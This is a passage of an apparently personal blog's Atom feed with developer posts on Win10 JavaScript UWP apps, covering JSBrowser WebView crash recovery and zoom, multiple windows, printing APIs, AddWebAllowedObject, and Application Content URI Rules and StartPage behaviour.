  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        this.replaceWebView = () =&amp;gt; {&lt;br&gt;            let webview = document.querySelector(&quot;#WebView&quot;);&lt;br&gt;            // Cannot access webview.src - anything that would need to communicate with the webview process may fail&lt;br&gt;            let oldSrc = browser.currentUrl;&lt;br&gt;            const webviewParent = webview.parentElement;&lt;br&gt;            webviewParent.removeChild(webview);&lt;br&gt;            webview = new MSWebView();&lt;br&gt;            Object.assign(this, {&lt;br&gt;                &quot;webview&quot;: webview&lt;br&gt;            });&lt;br&gt;            webview.setAttribute(&quot;id&quot;, &quot;WebView&quot;);&lt;br&gt;&lt;br&gt;            // During startup our currentUrl field is blank. If the WebView has crashed &lt;br&gt;            // and we were on a URI then we may obtain it from this property.&lt;br&gt;            if (browser.currentUrl &amp;amp;&amp;amp; browser.currentUrl != &quot;&quot;) {&lt;br&gt;                this.trigger(&quot;newWebview&quot;);&lt;br&gt;                this.navigateTo(browser.currentUrl);&lt;br&gt;            }&lt;br&gt;            webviewParent.appendChild(webview);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    I run replaceWebView during startup to replace the in-process WebView created via HTML markup with an out-of-process WebView. I could be doing more to dynamically copy styles, attributes, etc but
    I know what I need to set on the WebView and just do that.
  &lt;/p&gt;&lt;p&gt;
    When a WebView process crashes the corresponding WebView object is no longer useful and a new WebView element must be created. In fact if the old WebView object is used it may throw and will no
    longer have valid state. Accordingly when the WebView crashes I run replaceWebView again. Additionally, I need to store the last URI we&#39;ve navigated to (browser.currentUrl in the above) since the
    crashed WebView object won&#39;t know what URI it is on after it crashes.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;            webview.addEventListener(&quot;MSWebViewProcessExited&quot;, () =&amp;gt; { &lt;br&gt;                if (browser.currentUrl === browser.lastCrashUrl) {                   ++browser.lastCrashUrlCrashCount; &lt;br&gt;                } &lt;br&gt;                else { &lt;br&gt;                    browser.lastCrashUrl = browser.currentUrl; &lt;br&gt;                    browser.lastCrashUrlCrashCount = 1; &lt;br&gt;                } &lt;br&gt;                // If we crash again and again on the same URI, maybe stop trying to load that URI. &lt;br&gt;                if (browser.lastCrashUrlCrashCount &amp;gt;= 3) { &lt;br&gt;                    browser.lastCrashUrl = &quot;&quot;; &lt;br&gt;                    browser.lastCrashUrlCrashCount = 0; &lt;br&gt;                    browser.currentUrl = browser.startPage; &lt;br&gt;                } &lt;br&gt;                this.replaceWebView(); &lt;br&gt;            }); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    I also keep track of the last URI that we recovered and how many times we&#39;ve recovered that same URI. If the same URI crashes more than 3 times in a row then I assume that it will keep happening
    and I navigate to the start URI instead.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Tiny browser features: JSBrowser zoom</title>
		<link href="https://deletethis.net/dave/2018-05/Tiny+browser+features-+JSBrowser+zoom/"/>
		<updated>2018-05-10T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-05/Tiny+browser+features-+JSBrowser+zoom/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/david-risney/JSBrowser&quot;&gt;JSBrowser&lt;/a&gt; is a basic browser built as a Win10 JavaScript UWP app around the WebView HTML element. Its fun and relatively simple to
    implement tiny browser features in JavaScript and in this post I&#39;m implementing zoom.
  &lt;/p&gt;&lt;p&gt;
    My plan to implement zoom is to add a zoom slider to the settings div that controls the scale of the WebView element via CSS transform. My &lt;a href=&quot;https://github.com/david-risney/JSBrowser/commit/58987dcbc44b0818602e99574a3dec9406f4fa2e&quot;&gt;resulting zoom change&lt;/a&gt; is in git and you can try the whole thing out in my JSBrowser fork.
  &lt;/p&gt;&lt;h2&gt;
    Slider
  &lt;/h2&gt;&lt;p&gt;
    I can implement the zoom settings slider as a range type input HTML element. This conveniently provides me a min, max, and step property and suits exactly my purposes. I chose some values that I
    thought would be reasonable so the browser can scale between half to 3x by increments of one quarter. This is a tiny browser feature after all so there&#39;s no custom zoom entry.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;label for=&quot;webviewZoom&quot;&amp;gt;Zoom&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;range&quot; min=&quot;50&quot; max=&quot;300&quot; step=&quot;25&quot; value=&quot;100&quot; id=&quot;webviewZoom&quot; /&amp;gt;&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    To let the user know this slider is for controlling zoom, I make a label HTML element that says Zoom. The label HTML element has a for attribute which takes the id of another HTML element. This
    lets the browser know what the label is labelling and lets the browser do things like when the label is clicked to put focus on the slider.
  &lt;/p&gt;&lt;h2&gt;
    Scale
  &lt;/h2&gt;&lt;p&gt;
    There are no explicit scale APIs for WebView so to change the size of the content in the WebView we use CSS.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;        this.applyWebviewZoom = state =&amp;gt; {&lt;br&gt;            const minValue = this.webviewZoom.getAttribute(&quot;min&quot;);&lt;br&gt;            const maxValue = this.webviewZoom.getAttribute(&quot;max&quot;);&lt;br&gt;            const scaleValue = Math.max(Math.min(parseInt(this.webviewZoom.value, 10), maxValue), minValue) / 100;&lt;br&gt;&lt;br&gt;            // Use setAttribute so they all change together to avoid weird visual glitches&lt;br&gt;            this.webview.setAttribute(&quot;style&quot;, [&lt;br&gt;                [&quot;width&quot;, (100 / scaleValue) + &quot;%&quot;],&lt;br&gt;                [&quot;height&quot;, &quot;calc(&quot; + (-40 / scaleValue) + &quot;px + &quot; + (100 / scaleValue) + &quot;%)&quot;],&lt;br&gt;                [&quot;transform&quot;, &quot;scale(&quot; + scaleValue + &quot;)&quot;]&lt;br&gt;            ].map(pair =&amp;gt; pair[0] + &quot;: &quot; + pair[1]).join(&quot;; &quot;));&lt;br&gt;        };&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Because the user changes the scale at runtime I accordingly replace the static CSS for the WebView element with the script above to programmatically modify the style of the WebView. I change the
    style with one setAttribute call to do my best to avoid the browser performing unnecessary work or displaying the WebView in an intermediate and incomplete state. Applying the scale to the
    element is as simple as adding &#39;transform: scale(X)&#39; but then there are two interesting problems.
  &lt;/p&gt;&lt;p&gt;
    The first is that the size of the WebView is also scaled not just the content within it. To keep the WebView the same effective size so that it still fits properly into our browser UI, we must
    compensate for the scale in the WebView width and height. Accordingly, you can see that we scale up by scaleValue and then in width and height we divide by the scaleValue.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;transform-origin: 0% 0%;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    The other issue is that by default the scale transform&#39;s origin is the center of the WebView element. This means when scaled up all sides of the WebView would expand out. But when modifying the
    width and height those apply relative to the upper left of the element so our inverse scale application to the width and height above aren&#39;t quite enough. We also have to change the origin of the
    scale transform to match the origin of the changes to the width and height.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Multiple Windows in Win10 JavaScript UWP apps</title>
		<link href="https://deletethis.net/dave/2018-03/Multiple+Windows+in+Win10+JavaScript+UWP+apps/"/>
		<updated>2018-03-10T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2018-03/Multiple+Windows+in+Win10+JavaScript+UWP+apps/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;h2&gt;
    Win10 Changes
  &lt;/h2&gt;&lt;p&gt;
    In Win8.1 JavaScript UWP apps we supported multiple windows using MSApp DOM APIs. In Win10 we use window.open and window and a new MSApp API getViewId and the previous MSApp APIs are gone:
  &lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;th&gt;
          Win10
        &lt;/th&gt;&lt;th&gt;
          Win8.1
        &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          Create new window
        &lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/open&quot;&gt;window.open&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dn254975(v=vs.85).aspx&quot;&gt;MSApp.createNewView&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          New window object
        &lt;/th&gt;&lt;td&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window&quot;&gt;window&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dn268315(v=vs.85).aspx&quot;&gt;MSAppView&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          viewId
        &lt;/th&gt;&lt;td&gt;
          MSApp.getViewId(window)
        &lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dn567969(v=vs.85).aspx&quot;&gt;MSAppView.viewId&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;
    WinRT viewId
  &lt;/h2&gt;&lt;p&gt;
    We use window.open and window for creating new windows, but then to interact with WinRT APIs we add the MSApp.getViewId API. It takes a window object as a parameter and returns a viewId number
    that can be used with the various &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/api/Windows.UI.ViewManagement.ApplicationViewSwitcher&quot;&gt;Windows.UI.ViewManagement.ApplicationViewSwitcher&lt;/a&gt; APIs.
  &lt;/p&gt;&lt;h2&gt;
    Delaying Visibility
  &lt;/h2&gt;&lt;p&gt;
    Views in WinRT normally start hidden and the end developer uses something like &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/api/windows.ui.viewmanagement.applicationviewswitcher#Windows_UI_ViewManagement_ApplicationViewSwitcher_TryShowAsStandaloneAsync_System_Int32_&quot;&gt;TryShowAsStandaloneAsync&lt;/a&gt;
    to display the view once it is fully prepared. In the web world, window.open shows a window immediately and the end user can watch as content is loaded and rendered. To have your new windows act
    like views in WinRT and not display immediately we have added a window.open option. For example&lt;br&gt;&lt;code&gt;let newWindow = window.open(&quot;https://example.com&quot;, null, &quot;msHideView=yes&quot;);&lt;/code&gt;&lt;/p&gt;&lt;h2&gt;
    Primary Window Differences
  &lt;/h2&gt;&lt;p&gt;
    The primary window that is initially opened by the OS acts differently than the secondary windows that it opens:
  &lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;th&gt;
          Primary
        &lt;/th&gt;&lt;th&gt;
          Secondary
        &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          window.open
        &lt;/th&gt;&lt;td&gt;
          Allowed
        &lt;/td&gt;&lt;td&gt;
          Disallowed
        &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          window.close
        &lt;/th&gt;&lt;td&gt;
          Close app
        &lt;/td&gt;&lt;td&gt;
          Close window
        &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;
          Navigation restrictions
        &lt;/th&gt;&lt;td&gt;
          ACUR only
        &lt;/td&gt;&lt;td&gt;
          No restrictions
        &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;
    The restriction on secondary windows such that they cannot open secondary windows could change in the future depending on feedback.
  &lt;/p&gt;&lt;h2&gt;
    Same Origin Communication Restrictions
  &lt;/h2&gt;&lt;p&gt;
    Lastly, there is a very difficult technical issue preventing us from properly supporting synchronous, same-origin, cross-window, script calls. That is, when you open a window that&#39;s same origin,
    script in one window is allowed to directly call functions in the other window and some of these calls will fail. postMessage calls work just fine and is the recommended way to do things if
    that&#39;s possible for you. Otherwise we continue to work on improving this.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>MSApp.getHtmlPrintDocumentSourceAsync - JavaScript UWP app printing</title>
		<link href="https://deletethis.net/dave/2017-10/MSApp.getHtmlPrintDocumentSourceAsync+-+JavaScript+UWP+app+printing/"/>
		<updated>2017-10-11T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-10/MSApp.getHtmlPrintDocumentSourceAsync+-+JavaScript+UWP+app+printing/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The documentation for printing in JavaScript UWP apps is out of date as it all references &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/hh772325(v=vs.85).aspx&quot;&gt;MSApp.getHtmlPrintDocumentSource&lt;/a&gt; but that method has been replaced by MSApp.getHtmlPrintDocumentSourceAsync since WinPhone
    8.1.
  &lt;/p&gt;&lt;h2&gt;
    Background
  &lt;/h2&gt;&lt;p&gt;
    Previous to WinPhone 8.1 the WebView&#39;s HTML content ran on the UI thread of the app. This is troublesome for rendering arbitrary web content since in the extreme case the JavaScript of some
    arbitrary web page might just sit in a loop and never return control to your app&#39;s UI. With WinPhone 8.1 we added off thread WebView in which the WebView runs HTML content on a separate UI
    thread.
  &lt;/p&gt;&lt;p&gt;
    Off thread WebView required changing our MSApp.getHtmlPrintDocumentSource API which could no longer synchronously produce an HtmlPrintDocumentSource. With WebViews running on their own threads it
    may take some time for them to generate their print content for the HtmlPrintDocumentSource and we don&#39;t want to hang the app&#39;s UI thread in the interim. So the MSApp.getHtmlPrintDocumentSource
    API was replaced with MSApp.getHtmlPrintDocumentSourceAsync which returns a promise the resolved value of which is the eventual HtmlPrintDocumentSource.
  &lt;/p&gt;&lt;h2&gt;
    Sample
  &lt;/h2&gt;&lt;p&gt;
    However, the usage of the API is otherwise unchanged. So in sample code you see referencing MSApp.getHtmlPrintDocumentSource the sample code is still reasonable but you need to call
    MSApp.getHtmlPrintDocumentSourceAsync instead and wait for the promise to complete. For example the &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/api/Windows.Graphics.Printing.PrintManager&quot;&gt;PrintManager docs&lt;/a&gt; has an example implementing a PrintTaskRequested event handler in a JavaScript UWP app.
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;    function onPrintTaskRequested(printEvent) {    &lt;br&gt;        var printTask = printEvent.request.createPrintTask(&quot;Print Sample&quot;, function (args) {&lt;br&gt;            args.setSource(MSApp.getHtmlPrintDocumentSource(document));&lt;br&gt;    });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Instead we need to obtain a deferral in the event handler so we can asynchronously wait for getHtmlPrintDocumentSourceAsync to complete:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;    function onPrintTaskRequested(printEvent) {    &lt;br&gt;        var printTask = printEvent.request.createPrintTask(&quot;Print Sample&quot;, function (args) {&lt;br&gt;            const deferral = args.getDeferral();&lt;br&gt;            MSApp.getHtmlPrintDocumentSourceAsync(document).then(htmlPrintDocumentSource =&amp;gt; {&lt;br&gt;                args.setSource(htmlPrintDocumentSource);&lt;br&gt;                deferral.complete();&lt;br&gt;            }, error =&amp;gt; {&lt;br&gt;                console.error(&quot;Error: &quot; + error.message + &quot; &quot; + error.stack);&lt;br&gt;                deferral.complete();&lt;br&gt;            });&lt;br&gt;        });&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Win10 UWP WebView AddWebAllowedObject details</title>
		<link href="https://deletethis.net/dave/2017-09/Win10+UWP+WebView+AddWebAllowedObject+details/"/>
		<updated>2017-09-04T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-09/Win10+UWP+WebView+AddWebAllowedObject+details/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    The x-ms-webview HTML element has the void &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/apps/dn926632.aspx&quot;&gt;addWebAllowedObject&lt;/a&gt;(string name, any value) method and the webview
    XAML element has the void &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/api/windows.ui.xaml.controls.webview#Windows_UI_Xaml_Controls_WebView_AddWebAllowedObject_System_String_System_Object_&quot;&gt;AddWebAllowedObject&lt;/a&gt;(String name,
    Object value) method. The object parameter is projected into the webview’s top-level HTML document’s script engine as a new property on the global object with property name set to the name
    parameter. It is not injected into the current document but rather it is projected during initialization of the next top-level HTML document to which the webview navigates.
  &lt;/p&gt;&lt;h2&gt;
    Lifetime
  &lt;/h2&gt;&lt;p&gt;
    If AddWebAllowedObject is called during a NavigationStarting event handler the object will be injected into the document resulting from the navigation corresponding to that event.
  &lt;/p&gt;&lt;p&gt;
    If AddWebAllowedObject is called outside of the NavigationStarting event handler it will apply to the navigation corresponding to the next explicit navigate method called on the webview or the
    navigation corresponding to the next NavigationStarting event handler that fires, whichever comes first.
  &lt;/p&gt;&lt;p&gt;
    To avoid this potential race, you should use AddWebAllowedObject in one of two ways: 1. During a NavigationStarting event handler, 2. Before calling a Navigate method and without returning to the
    main loop.
  &lt;/p&gt;&lt;p&gt;
    If called both before calling a navigate method and in the NavigationStarting event handler then the result is the aggregate of all those calls.
  &lt;/p&gt;&lt;p&gt;
    If called multiple times for the same document with the same name the last call wins and the previous are silently ignored.
  &lt;/p&gt;&lt;p&gt;
    If AddWebAllowedObject is called for a navigation and that navigation fails or redirects to a different URI, the AddWebAllowedObject call is silently ignored.
  &lt;/p&gt;&lt;p&gt;
    After successfully adding an object to a document, the object will no longer be projected once a navigation to a new document occurs.
  &lt;/p&gt;&lt;h2&gt;
    WinRT access
  &lt;/h2&gt;&lt;p&gt;
    If AddWebAllowedObject is called for a document with All WinRT access then projection will succeed and the object will be added.
  &lt;/p&gt;&lt;p&gt;
    If AddWebAllowedObject is called for a document which has a URI which has no declared WinRT access via ApplicationContentUriRules then Allow for web only WinRT access is given to that document.
  &lt;/p&gt;&lt;p&gt;
    If the document has Allow for web only WinRT access then projection will succeed only if the object’s runtimeclass has the Windows.Foundation.Metadata.AllowForWeb metadata attribute.
  &lt;/p&gt;&lt;h2&gt;
    Object requirements
  &lt;/h2&gt;&lt;p&gt;
    The object must implement the IAgileObject interface. Because the XAML and HTML webview elements run on ASTA view threads and the webview’s content’s JavaScript thread runs on another ASTA thread
    a developer should not create their non-agile runtimeclass on the view thread. To encourage end developers to do this correctly we require the object implements IAgileObject.
  &lt;/p&gt;&lt;h2&gt;
    Property name
  &lt;/h2&gt;&lt;p&gt;
    The name parameter must be a valid JavaScript property name, otherwise the call will fail silently. If the name is already a property name on the global object, that property is overwritten if
    the property is configurable. Non-configurable properties on the global object are not overwritten and the AddWebAllowedObject call fails silently. On success, the projected property is writable,
    configurable, and enumerable.
  &lt;/p&gt;&lt;h2&gt;
    Errors
  &lt;/h2&gt;&lt;p&gt;
    Some errors as described above fail silently. Other issues, such as lack of IAgileObject or lack of the AllowForWeb attribute result in an error in the JavaScript developer console.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Application Content URI Rule effects</title>
		<link href="https://deletethis.net/dave/2017-06/Application+Content+URI+Rule+effects/"/>
		<updated>2017-06-30T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-06/Application+Content+URI+Rule+effects/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    Previously I described &lt;a href=&quot;https://deletethis.net/dave/2017-05/Application+Content+URI+Rules+wildcard+syntax&quot;&gt;Application Content URI Rules (ACUR) parsing&lt;/a&gt; and &lt;a href=&quot;https://deletethis.net/dave/2017-06/Application+Content+URI+Rules+rule+ordering&quot;&gt;ACUR ordering&lt;/a&gt;. This post describes what you get from putting a URI in ACUR.
  &lt;/p&gt;&lt;p&gt;
    URIs in the ACUR gain the following which is otherwise unavailable:
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Geoloc API usage
    &lt;/li&gt;&lt;li&gt;Audio and video capture API usage
    &lt;/li&gt;&lt;li&gt;Pointer lock API usage
    &lt;/li&gt;&lt;li&gt;Web notifications API usage
    &lt;/li&gt;&lt;li&gt;IndexedDB API usage
    &lt;/li&gt;&lt;li&gt;Clipboard API usage
    &lt;/li&gt;&lt;li&gt;window.external.notify access from within webview
    &lt;/li&gt;&lt;li&gt;window.close the primary window
    &lt;/li&gt;&lt;li&gt;Top level navigation in the primary window
    &lt;/li&gt;&lt;li&gt;Cross origin XHR and fetch to ms-appx(-web) scheme URIs
    &lt;/li&gt;&lt;li&gt;Cross origin dirtied canvas read access if dirtied by ms-appx(-web) scheme URIs
    &lt;/li&gt;&lt;li&gt;Cross origin text track for video element for tracks from ms-appx(-web) scheme URIs
    &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;
    URIs in the ACUR that also have full WinRT access additionally gain the following:
  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cross origin XHR and fetch
    &lt;/li&gt;&lt;li&gt;Cross origin dirtied canvas read access
    &lt;/li&gt;&lt;li&gt;Cross origin text track for video element
    &lt;/li&gt;&lt;li&gt;Local audio and video WinRT plugins work with media elements
    &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>JavaScript Microsoft Store app StartPage</title>
		<link href="https://deletethis.net/dave/2017-06/JavaScript+Microsoft+Store+app+StartPage/"/>
		<updated>2017-06-22T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-06/JavaScript+Microsoft+Store+app+StartPage/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;
    JavaScript Microsoft Store apps have some details related to activation that are specific to JavaScript Store apps and that are poorly documented which I’ll describe here.
  &lt;/p&gt;&lt;h2&gt;
    StartPage syntax
  &lt;/h2&gt;&lt;p&gt;
    The StartPage attributes in the AppxManifest.xml (&lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/schemas/appxpackage/appxmanifestschema/element-application&quot;&gt;Package/Applications/Application/@StartPage&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/schemas/appxpackage/appxmanifestschema/element-1-extension&quot;&gt;Package/Applications/Extensions/Extension/@StartPage&lt;/a&gt;) define the HTML page entry point for
    that kind of activation. That is, Application/@StartPage defines the entry point for tile activation, Extension[@Category=&quot;windows.protocol&quot;]/@StartPage defines the entry point for URI handling
    activation, etc. There are two kinds of supported values in StartPage attributes: relative Windows file paths and absolute URIs. If the attribute doesn’t parse as an absolute URI then it is
    instead interpreted as relative Windows file path.
  &lt;/p&gt;&lt;p&gt;
    This implies a few things that I’ll declare explicitly here. Windows file paths, unlike URIs, don’t have a query or fragment, so if you are using a relative Windows file path for your StartPage
    attribute you cannot include anything like ‘?param=value’ at the end. Absolute URIs use percent-encoding for reserved characters like ‘%’ and ‘#’. If you have a ‘#’ in your HTML filename then you
    need to percent-encode that ‘#’ for a URI and not for a relative Windows file path.
  &lt;/p&gt;&lt;p&gt;
    If you specify a relative Windows file path, it is turned into an ms-appx URI by changing all backslashes to forward slashes, percent-encoding reserved characters, and combining the result with a
    base URI of ms-appx:///. Accordingly the relative Windows file paths are relative to the root of your package. If you are using a relative Windows file path as your StartPage and need to switch
    to using a URI so you can include a query or fragment, you can follow the same steps above.
  &lt;/p&gt;&lt;h2&gt;
    StartPage validity
  &lt;/h2&gt;&lt;p&gt;
    The validity of the StartPage is not determined before activation. If the StartPage is a relative Windows file path for a file that doesn’t exist, or an absolute URI that is not in the
    Application Content URI Rules, or something that doesn’t parse as a Windows file path or URI, or otherwise an absolute URI that fails to resolve (404, bad hostname, etc etc) then the JavaScript
    app will navigate to the app’s navigation error page (perhaps more on that in a future blog post). Just to call it out explicitly because I have personally accidentally done this: StartPage URIs
    are not automatically included in the Application Content URI Rules and if you forget to include your StartPage in your ACUR you will always fail to navigate to that StartPage.
  &lt;/p&gt;&lt;h2&gt;
    StartPage navigation
  &lt;/h2&gt;&lt;p&gt;
    When your app is activated for a particular activation kind, the StartPage value from the entry in your app’s manifest that corresponds to that activation kind is used as the navigation target.
    If the app is not already running, the app is activated, navigated to that StartPage value and then the &lt;code&gt;Windows.UI.WebUI.WebUIApplication activated&lt;/code&gt; event is fired (more details on
    the order of various events in a moment). If, however, your app is already running and an activation occurs, we navigate or don’t navigate to the corresponding StartPage depending on the current
    page of the app. Take the app’s current top level document’s URI and if after removing the fragment it already matches the StartPage value then we won’t navigate and will jump straight to firing
    the WebUIApplication activated event.
  &lt;/p&gt;&lt;p&gt;
    Since navigating the top-level document means destroying the current JavaScript engine instance and losing all your state, this behavior might be a problem for you. If so, you can use the
    &lt;code&gt;MSApp.pageHandlesAllApplicationActivations(true)&lt;/code&gt; API to always skip navigating to the StartPage and instead always jump straight to firing the WebUIApplication activated event. This
    does require of course that all of your pages all handle all activation kinds about which any part of your app cares.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Application Content URI Rules rule ordering</title>
		<link href="https://deletethis.net/dave/2017-06/Application+Content+URI+Rules+rule+ordering/"/>
		<updated>2017-06-01T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-06/Application+Content+URI+Rules+rule+ordering/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/schemas/appxpackage/appxmanifestschema/element-applicationcontenturirules&quot;&gt;Application Content URI Rules&lt;/a&gt; (ACUR from now on) defines the bounds on
    the web that make up a Microsoft Store application. The previous blog post discussed &lt;a href=&quot;https://deletethis.net/dave/2017-05/Application+Content+URI+Rules+wildcard+syntax&quot;&gt;the syntax of the
    Rule&#39;s Match attribute&lt;/a&gt; and this time I&#39;ll write about the interactions between the Rules elements.
  &lt;/p&gt;&lt;h2&gt;
    Order
  &lt;/h2&gt;&lt;p&gt;
    A single ApplicationContentUriRules element may have up to 100 Rule child elements. When determining if a navigation URI matches any of the ACUR the last Rule in the list with a matching match
    wildcard URI is used. If that Rule is an include rule then the navigation URI is determined to be an application content URI and if that Rule is an exclude rule then the navigation rule is not an
    application content URI. For example:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;Rule Type=&#39;include&#39; Match=&#39;https://example.com/&#39;/&lt;br&gt;Rule Type=&#39;exclude&#39; Match=&#39;https://example.com/&#39;/&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Given the above two rules in that order, the navigation URI https://example.com/ is not an application content URI because the last matching rule is the exclude rule. Reverse the order of the
    rules and get the opposite result.
  &lt;/p&gt;&lt;h2&gt;
    WindowsRuntimeAccess
  &lt;/h2&gt;&lt;p&gt;
    In addition to determining if a navigation URI is application content or not, a Rule may also confer varying levels of WinRT access via the optional WindowsRuntimeAccess attribute which may be
    set to &#39;none&#39;, &#39;allowForWeb&#39;, or &#39;all&#39;. If a navigation URI matches multiple different include rules only the last rule is applied even as it applies to the WindowsRuntimeAccess attribute. For
    example:
  &lt;/p&gt;&lt;pre&gt;&lt;code&gt;Rule Type=&#39;include&#39; Match=&#39;https://example.com/&#39; WindowsRuntimeAccess=&#39;none&#39;/&lt;br&gt;Rule Type=&#39;include&#39; Match=&#39;https://example.com/&#39; WindowsRuntimeAccess=&#39;all&#39;/&lt;br&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
    Given the above two rules in that order, the navigation URI https://example.com/ will have access to all WinRT APIs because the last matching rule wins. Reverse the rule order and the navigation
    URI https://example.com/ will have no access to WinRT. There is no summation or combining of multiple matching rules - only the last matching rule wins.
  &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
</content>
	</entry>
	
	<entry>
		<title>Application Content URI Rules wildcard syntax</title>
		<link href="https://deletethis.net/dave/2017-05/Application+Content+URI+Rules+wildcard+syntax/"/>
		<updated>2017-05-31T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2017-05/Application+Content+URI+Rules+wildcard+syntax/</id>
		<content type="html">&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/uwp/schemas/appxpackage/appxmanifestschema/element-applicationcontenturirules&quot;&gt;Application Content URI Rules&lt;/a&gt; (ACUR from now on) defines the bounds of
    the web that make up the Microsoft Store application. Package content via the ms-appx URI scheme is automatically considered part of the app. But if you have content on the web via http or https
    you can use ACUR to declare to Windows that those URIs are also part of your application. When your app navigates to URIs on the web those URIs will be matched against the ACUR to determine if
    they are part of your app or not. The documentation for how matching is done on the wildcard URIs in the ACUR Rule elements is not very helpful on MSDN so here are some notes.
  &lt;/p&gt;&lt;h2&gt;
    Rules
  &lt;/h2&gt;&lt;p&gt;
    You can have up to 100 Rule XML elements per ApplicationContentUriRules element. Each has a Match attribute that can be up to 2084 characters long. The content of the Match attribute is parsed
    with &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms775098(v=vs.85).aspx&quot;&gt;CreateUri&lt;/a&gt; and when matching against URIs on the web additional wildcard processing is performed. I’ll call the
    URI from the ACUR Rule the rule URI and the URI we compare it to found during app navigation the navigation URI.
  &lt;/p&gt;&lt;p&gt;
    The rule URI is matched to a navigation URI by URI component: scheme, username, password, host, port, path, query, and fragment. If a component does not exist on the rule URI then it matches any
    value of that component in the navigation URI. For example, a rule URI with no fragment will match a navigation URI with no fragment, with an empty string fragment, or a fragment with any value
    in it.
  &lt;/p&gt;&lt;h2&gt;
